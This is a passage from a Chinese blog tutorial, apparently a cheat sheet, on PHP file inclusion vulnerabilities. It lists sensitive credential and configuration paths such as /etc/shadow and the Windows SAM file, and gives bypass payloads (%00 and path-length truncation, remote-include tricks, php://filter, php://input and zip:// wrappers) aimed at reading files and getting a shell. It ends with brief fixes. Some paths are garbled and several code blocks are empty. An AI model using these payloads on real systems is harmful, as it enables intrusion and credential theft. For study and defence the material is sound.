zoukankan      html  css  js  c++  java
  • 文件包含漏洞小结

    1 有关概念

    前言:

      PHP中include和require的区别主要是:include在包含过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会知己报错并退出程序的执行。

    漏洞产生原因:

      文件包含函数加载的参数没有经过过滤或者严格定义,可以被用户控制,包含了其他恶意文件,导致执行了非预期的代码。

    分类:

      本地文件包含和远程文件包含。

    2 本地文件包含

    可利用途径:

      ·上传图片:图片包含getshell

      ·读文件:读取php文件

      ·包含日志文件getshell

      ·包含/proc/self/environ/文件getshell

      ·有phpinfo可包含临时文件

      ·包含data://或php://inout等伪协议(需要allow_url_include=On)

    2.1 目录遍历敏感信息路径

    常见的敏感信息路径

    windows系统:

      c:oot.ini  //  查看系统版本

      c:windowssystem32inetsrcMetaBase.xml   //IIS配置文件

      c:windows epairsam   //存储windows系统初次安装的密码

      c:programFilesmysqlmy.ini  //MYSQL root密码

      c:windowsphp.ini // php 配置信息

    Linux/Unix系统

        /etc/passwd // 账户信息

        /etc/shadow // 账户密码文件

        /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

        /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

        /usr/local/app/php5/lib/php.ini // PHP相关配置

        /etc/httpd/conf/httpd.conf // Apache配置文件

        /etc/my.conf // mysql 配置文件

    2.2 session文件包含

    利用条件:session存储位置可以获取

      获取方法1:通过phpinfo信息获取session存储位置

      获取方法2:猜测默认的session存放位置

        Linux下默认存放在/var/lib/php/session目录下

        windows默认C:WINDOWSTemp或集成环境下的tmp文件夹里

    方法:

      存在本地文件包含漏洞,可通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell

    2.3 有限制本地包含绕过

    绕过方法1:%00 截断

      条件:magic_quotes_gpc = Off PHP 版本<5.3.4

      测试:?filename=../../../../../../boot.ini%00

    绕过方法2:路径长度截断

      条件:windows下目录路径最大长度为256字节,超出部分将丢弃;

           Linux下目录最大长度为4096字节,超出长度将丢弃

      测试:?filename=text.txt././././.  或?filename=test.txt.....

    3 远程文件包含

      前提:服务器的php.ini的配置选项allow_url_fopen和allow_url_include为On,则include/require函数式可加载远程文件的。

    有限制远程包含绕过

     测试代码:<?php include($_GET['filename'].".html");?>  多添加了html后缀,到最后远程包含的文件 一会多一个HTML后缀

    问号绕过

      测试:?filename=http://192.168.91.133/FI/php.txt?

    #号绕过

      测试:?filenamr=http://192.168.91.133/FI/php.txt%23

    空格绕过

      测试:?filename=http://192.168.91.133/FI/php.txt%20

    4 PHP伪协议使用

    php://filter(本地磁盘文件读取)

    条件:只是读取,需要开启allow_url_fopen,不需开启allow_url_include

    用法:?filename=php://filter/convert.base64-encode/resource=xx.php

      或:?filwname=php://filter/read=convert.base64-encode/resource=xx.php

    php://input(读取post文件)

       遇到file_get_contents()就要想着用php://input绕过,因PHP伪协议也可里要补发http协议,即可使用post方式传递数据。

    测试代码:<?php echo file_get_contents("php://input");?>

    用法

    php://input(木马写入)

    条件:allow_url_fopen和allow_url_include同时开启 (PHP<5.3.0)

    测试代码:

      

    用法:  

      

    php://input(命令执行)

    条件:allow_url_fopen和allow_url_include同时开启 (PHP<5.3.0)

     测试代码:  

                  

    用法:

        

    zip://伪协议

    条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

    用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php 

    5 漏洞挖掘

    无通用性方法

    特定CMS,特定版本可能存在

    web漏洞扫描器扫描

    6修复方案

    PHP中可使用open_basedir配置限制访问限制在指定的区域

    过滤.(点)/(反斜杠)(斜杠)

    进制服务器远程文件包含

  • 相关阅读:
    Java异常处理和设计
    一次qps测试实践
    Alternate Task UVA
    Just Another Problem UVA
    Lattice Point or Not UVA
    Play with Floor and Ceil UVA
    Exploring Pyramids UVALive
    Cheerleaders UVA
    Triangle Counting UVA
    Square Numbers UVA
  • 原文地址:https://www.cnblogs.com/appear001/p/11149996.html
Copyright © 2011-2022 走看看